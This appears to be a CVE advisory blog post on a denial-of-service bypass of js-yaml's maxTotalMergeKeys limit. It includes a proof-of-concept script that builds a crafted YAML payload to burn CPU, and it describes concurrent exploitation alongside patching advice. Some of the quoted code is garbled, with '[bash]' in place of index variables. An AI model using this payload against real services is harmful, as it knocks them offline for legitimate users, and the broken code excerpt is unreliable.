Listen to this Post
The `js-yaml` library provides a configuration parameter called `maxTotalMergeKeys` designed to limit the total number of keys processed during YAML merge operations. Merge keys are denoted by the `<<` syntax and allow a mapping to inherit keys from another mapping or sequence of mappings. The intended protection mechanism works by incrementing a counter each time a key is merged from a source mapping. Once this counter exceeds the configured threshold, the parser aborts processing, preventing resource exhaustion attacks.
The vulnerability arises from a logical flaw in how the counter is incremented. When the parser encounters an empty mapping (represented as {}) within a merge sequence, it does not count that source mapping as a budget unit. Instead, the loader iterates over the empty mapping and finds zero keys to merge, leaving the `totalMergeKeys` counter unchanged. An attacker can exploit this oversight by constructing a YAML document that aliases a large sequence of empty mappings and then references that alias in numerous merge targets. For every target, the loader performs a full iteration over the entire sequence of empty mappings. This creates an O(N × K) processing load, where N is the number of empty mappings in the sequence and K is the number of merge targets, while the `totalMergeKeys` counter remains at zero. The configured limit is never reached, and the parser consumes significant CPU time proportional to N multiplied by K. Because merge key processing is enabled by default in affected versions, any application that parses untrusted YAML with `js-yaml` is vulnerable to this denial-of-service condition. The issue is fixed in versions 3.15.2 and 4.3.2 by counting each merge source mapping as one budget unit in addition to counting its individual keys.
DailyCVE Form:
Platform: js-yaml
Version: 3.0.0-3.15.1, 4.0.0-4.3.1
Vulnerability: maxTotalMergeKeys bypass
Severity: High (7.5)
date: 2026-09-01
Prediction: 2026-09-15
What Undercode Say
Analytics
Install affected js-yaml version npm install [email protected] Create PoC script cat > poc.js << 'EOF' import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(<code>${(performance.now() - started).toFixed(1)} ms</code>) EOF Execute PoC node poc.js Monitor CPU usage during execution top -b -n 1 | grep node
// Affected code path in lib/loader.js (simplified)
function storeMappingPair(state, _result, keyTag, keyNode, valueNode, startLine, startPos) {
if (keyNode === '<<') {
// Merge key processing
var mergeList = resolveNode(state, valueNode)
for (var i = 0; i < mergeList.length; i++) {
var source = mergeList[bash]
// BUG: empty mappings not counted toward maxTotalMergeKeys
for (var key in source) {
totalMergeKeys++
if (totalMergeKeys > maxTotalMergeKeys) {
throw new YAMLException('merge keys exceed limit')
}
_result[bash] = source[bash]
}
}
}
}
Observed timing results N=800 → ~13 KB → ~20 ms N=3200 → ~50 KB → ~180 ms N=20000 → ~500 KB → ~13 s Verify patch version npm view [email protected] dist.tarball
Exploit: (Educational Purposes!)
The exploit requires the attacker to supply a crafted YAML document to an application that uses `js-yaml` to parse untrusted input. The YAML document defines an anchor pointing to a sequence containing thousands of empty mappings. It then creates a large number of merge targets, each referencing that anchor. When the parser processes each merge target, it iterates over the entire sequence of empty mappings, performing work proportional to the product of the sequence length and the number of targets. Because the empty mappings contain no keys, the `totalMergeKeys` counter is never incremented, and the safety limit is bypassed. A document of approximately 500 KB can cause roughly 13 seconds of CPU consumption on a typical system, and the attack scales quadratically with document size. In a web service context, an attacker can submit multiple such documents concurrently to exhaust server CPU resources and render the service unavailable to legitimate users.
Protection: from this CVE
Upgrade `js-yaml` to version 3.15.2 or 4.3.2, which correctly count empty mapping sources as budget units during merge key processing. If immediate upgrade is not possible, disable merge key processing by using a schema that does not include the `<<` merge directive, or restrict YAML parsing to trusted input only. Additionally, implement application-level resource limits such as parsing timeouts and CPU quotas to terminate excessively long parse operations. Monitor for CPU spikes during YAML processing to detect exploitation attempts in real time.
Impact:
Successful exploitation leads to prolonged CPU consumption in the targeted application. For a single malicious YAML document of moderate size, the parser can be forced to spend seconds to minutes performing redundant merge operations. When an attacker submits multiple requests concurrently, the cumulative CPU load can saturate available processing capacity, causing severe performance degradation or complete denial of service. The vulnerability affects any Node.js application that uses affected versions of `js-yaml` to parse untrusted YAML with merge key processing enabled, which is the default configuration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
